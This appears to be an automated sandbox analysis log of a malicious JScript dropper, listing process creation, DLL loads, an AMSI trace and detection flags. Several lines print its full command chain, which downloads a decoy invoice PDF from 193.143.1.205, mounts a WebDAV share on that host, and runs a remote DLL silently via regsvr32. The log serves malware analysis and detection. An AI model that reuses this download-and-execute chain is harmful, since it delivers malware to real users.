Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,4128559999269423684,7592879451884856046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,4128559999269423684,7592879451884856046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9348.js.csv");ITextStream.WriteLine(" entry:7728 f:wpwfr");ITextStream.WriteLine(" exec:2 f:wpwfr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
